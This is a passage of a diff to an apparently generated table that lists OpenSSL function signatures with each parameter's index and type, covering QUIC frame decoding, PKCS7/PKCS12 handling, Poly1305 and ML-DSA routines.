ossl_quic_wire_decode_frame_data_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_data_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_data | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_data | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_streams | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_streams | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_challenge | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_challenge | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_response | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_response | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_retire_conn_id | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_retire_conn_id | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_streams_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_streams_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_peek_transport_param | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_peek_transport_param | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_skip_frame_header | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_skip_frame_header | 1 | uint64_t * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 0 | PACKET * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 1 | uint64_t * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 2 | QUIC_CONN_ID * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 0 | PACKET * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 1 | uint64_t * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 2 | int * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 0 | PACKET * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 1 | uint64_t * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 2 | size_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 2 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 2 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 2 | uint64_t * | +| (PBE2PARAM *) | | PBE2PARAM_free | 0 | PBE2PARAM * | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 0 | PBE2PARAM ** | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 1 | const unsigned char ** | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 2 | long | +| (PBEPARAM *) | | PBEPARAM_free | 0 | PBEPARAM * | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 0 | PBEPARAM ** | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 1 | const unsigned char ** | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 2 | long | +| (PBKDF2PARAM *) | | PBKDF2PARAM_free | 0 | PBKDF2PARAM * | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 0 | PBKDF2PARAM ** | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 1 | const unsigned char ** | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 2 | long | +| (PBMAC1PARAM *) | | PBMAC1PARAM_free | 0 | PBMAC1PARAM * | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 0 | PBMAC1PARAM ** | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 1 | const unsigned char ** | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 2 | long | | (PCXSTR) | | operator+= | 0 | PCXSTR | | (PCXSTR) | CSimpleStringT | operator+= | 0 | PCXSTR | | (PCXSTR) | CStringT | operator= | 0 | PCXSTR | @@ -702,6 +18119,2600 @@ getSignatureParameterName | (PCXSTR,const CStringT &) | | operator+ | 1 | const CStringT & | | (PCYSTR) | | operator+= | 0 | PCYSTR | | (PCYSTR) | CStringT | operator= | 0 | PCYSTR | +| (PKCS7 *) | | PKCS7_free | 0 | PKCS7 * | +| (PKCS7 *) | | PKCS7_get_octet_string | 0 | PKCS7 * | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 0 | PKCS7 ** | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 1 | const unsigned char ** | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 2 | long | +| (PKCS7 *,BIO *) | | PKCS7_dataInit | 0 | PKCS7 * | +| (PKCS7 *,BIO *) | | PKCS7_dataInit | 1 | BIO * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 0 | PKCS7 * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 1 | EVP_PKEY * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 2 | BIO * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 3 | X509 * | +| (PKCS7 *,OSSL_LIB_CTX *) | | ossl_pkcs7_set0_libctx | 0 | PKCS7 * | +| (PKCS7 *,OSSL_LIB_CTX *) | | ossl_pkcs7_set0_libctx | 1 | OSSL_LIB_CTX * | +| (PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_add_signer | 0 | PKCS7 * | +| (PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_add_signer | 1 | PKCS7_SIGNER_INFO * | +| (PKCS7 *,X509 *) | | PKCS7_add_certificate | 0 | PKCS7 * | +| (PKCS7 *,X509 *) | | PKCS7_add_certificate | 1 | X509 * | +| (PKCS7 *,X509 *) | | PKCS7_add_recipient | 0 | PKCS7 * | +| (PKCS7 *,X509 *) | | PKCS7_add_recipient | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 0 | PKCS7 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 2 | EVP_PKEY * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 3 | const EVP_MD * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 0 | PKCS7 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 2 | EVP_PKEY * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 3 | const EVP_MD * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 4 | int | +| (PKCS7 *,X509_CRL *) | | PKCS7_add_crl | 0 | PKCS7 * | +| (PKCS7 *,X509_CRL *) | | PKCS7_add_crl | 1 | X509_CRL * | +| (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 0 | PKCS7 * | +| (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | const char * | +| (PKCS7 *,int) | | PKCS7_set_type | 0 | PKCS7 * | +| (PKCS7 *,int) | | PKCS7_set_type | 1 | int | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 0 | PKCS7 * | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 1 | int | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 2 | ASN1_TYPE * | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 0 | PKCS7 * | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 1 | int | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 2 | long | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | char * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 2 | X509_STORE * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 3 | BIO * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 4 | BIO * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 5 | int | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 2 | X509_STORE * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 3 | X509 ** | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | int | +| (PKCS7_DIGEST *) | | PKCS7_DIGEST_free | 0 | PKCS7_DIGEST * | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 0 | PKCS7_DIGEST ** | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 1 | const unsigned char ** | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 2 | long | +| (PKCS7_ENCRYPT *) | | PKCS7_ENCRYPT_free | 0 | PKCS7_ENCRYPT * | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 0 | PKCS7_ENCRYPT ** | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 1 | const unsigned char ** | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 2 | long | +| (PKCS7_ENC_CONTENT *) | | PKCS7_ENC_CONTENT_free | 0 | PKCS7_ENC_CONTENT * | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 0 | PKCS7_ENC_CONTENT ** | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 1 | const unsigned char ** | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 2 | long | +| (PKCS7_ENVELOPE *) | | PKCS7_ENVELOPE_free | 0 | PKCS7_ENVELOPE * | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 0 | PKCS7_ENVELOPE ** | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 1 | const unsigned char ** | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 2 | long | +| (PKCS7_ISSUER_AND_SERIAL *) | | PKCS7_ISSUER_AND_SERIAL_free | 0 | PKCS7_ISSUER_AND_SERIAL * | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 0 | PKCS7_ISSUER_AND_SERIAL ** | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 1 | const unsigned char ** | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 2 | long | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 0 | PKCS7_ISSUER_AND_SERIAL * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 1 | const EVP_MD * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 2 | unsigned char * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 3 | unsigned int * | +| (PKCS7_RECIP_INFO *) | | PKCS7_RECIP_INFO_free | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 0 | PKCS7_RECIP_INFO ** | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 1 | const unsigned char ** | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 2 | long | +| (PKCS7_RECIP_INFO *,X509 *) | | PKCS7_RECIP_INFO_set | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO *,X509 *) | | PKCS7_RECIP_INFO_set | 1 | X509 * | +| (PKCS7_RECIP_INFO *,X509_ALGOR **) | | PKCS7_RECIP_INFO_get0_alg | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO *,X509_ALGOR **) | | PKCS7_RECIP_INFO_get0_alg | 1 | X509_ALGOR ** | +| (PKCS7_SIGNED *) | | PKCS7_SIGNED_free | 0 | PKCS7_SIGNED * | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 0 | PKCS7_SIGNED ** | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 1 | const unsigned char ** | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 2 | long | +| (PKCS7_SIGNER_INFO *) | | PKCS7_SIGNER_INFO_free | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 0 | PKCS7_SIGNER_INFO ** | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 1 | const unsigned char ** | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 2 | long | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 1 | EVP_PKEY ** | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 2 | X509_ALGOR ** | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 3 | X509_ALGOR ** | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 1 | X509 * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 2 | EVP_PKEY * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 3 | const EVP_MD * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *) | | PKCS7_add_attrib_smimecap | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *) | | PKCS7_add_attrib_smimecap | 1 | stack_st_X509_ALGOR * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_attributes | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_attributes | 1 | stack_st_X509_ATTRIBUTE * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_signed_attributes | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_signed_attributes | 1 | stack_st_X509_ATTRIBUTE * | +| (PKCS7_SIGN_ENVELOPE *) | | PKCS7_SIGN_ENVELOPE_free | 0 | PKCS7_SIGN_ENVELOPE * | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 0 | PKCS7_SIGN_ENVELOPE ** | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 1 | const unsigned char ** | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 2 | long | +| (PKCS8_PRIV_KEY_INFO *) | | PKCS8_PRIV_KEY_INFO_free | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create0_p8inf | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 0 | PKCS8_PRIV_KEY_INFO ** | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 1 | const unsigned char ** | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 2 | long | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 1 | ASN1_OBJECT * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 2 | int | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 3 | int | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 4 | void * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 5 | unsigned char * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 6 | int | +| (PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *) | | PKCS8_pkey_add1_attr | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *) | | PKCS8_pkey_add1_attr | 1 | X509_ATTRIBUTE * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 2 | int | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 3 | const unsigned char * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 4 | int | +| (PKCS12 *) | | PKCS12_free | 0 | PKCS12 * | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 0 | PKCS12 ** | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 1 | const unsigned char ** | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 2 | long | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 0 | PKCS12 * | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 1 | const char * | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 2 | EVP_PKEY ** | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 3 | X509 ** | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 4 | stack_st_X509 ** | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 0 | PKCS12 * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 1 | const char * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 2 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 3 | unsigned char * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 4 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 5 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 6 | const EVP_MD * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 7 | const char * | +| (PKCS12 *,stack_st_PKCS7 *) | | PKCS12_pack_authsafes | 0 | PKCS12 * | +| (PKCS12 *,stack_st_PKCS7 *) | | PKCS12_pack_authsafes | 1 | stack_st_PKCS7 * | +| (PKCS12_BAGS *) | | PKCS12_BAGS_free | 0 | PKCS12_BAGS * | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 0 | PKCS12_BAGS ** | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 1 | const unsigned char ** | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 2 | long | +| (PKCS12_MAC_DATA *) | | PKCS12_MAC_DATA_free | 0 | PKCS12_MAC_DATA * | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 0 | PKCS12_MAC_DATA ** | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 1 | const unsigned char ** | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 2 | long | +| (PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_free | 0 | PKCS12_SAFEBAG * | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 0 | PKCS12_SAFEBAG ** | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 1 | const unsigned char ** | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 2 | long | +| (PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *) | | PKCS12_SAFEBAG_set0_attrs | 0 | PKCS12_SAFEBAG * | +| (PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *) | | PKCS12_SAFEBAG_set0_attrs | 1 | stack_st_X509_ATTRIBUTE * | +| (PKEY_USAGE_PERIOD *) | | PKEY_USAGE_PERIOD_free | 0 | PKEY_USAGE_PERIOD * | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 0 | PKEY_USAGE_PERIOD ** | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 1 | const unsigned char ** | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 2 | long | +| (POLICYINFO *) | | POLICYINFO_free | 0 | POLICYINFO * | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 0 | POLICYINFO ** | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 1 | const unsigned char ** | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 2 | long | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 0 | POLICYINFO * | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 1 | const ASN1_OBJECT * | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | int | +| (POLICYQUALINFO *) | | POLICYQUALINFO_free | 0 | POLICYQUALINFO * | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 0 | POLICYQUALINFO ** | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 1 | const unsigned char ** | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 2 | long | +| (POLICY_CONSTRAINTS *) | | POLICY_CONSTRAINTS_free | 0 | POLICY_CONSTRAINTS * | +| (POLICY_MAPPING *) | | POLICY_MAPPING_free | 0 | POLICY_MAPPING * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 0 | POLY1305 * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 1 | const unsigned char * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | size_t | +| (POLY1305 *,const unsigned char[32]) | | Poly1305_Init | 0 | POLY1305 * | +| (POLY1305 *,const unsigned char[32]) | | Poly1305_Init | 1 | const unsigned char[32] | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 0 | POLY * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 1 | const uint8_t * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 2 | int | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 3 | EVP_MD_CTX * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 4 | const EVP_MD * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 5 | uint32_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 0 | POLY * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 1 | const uint8_t * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD 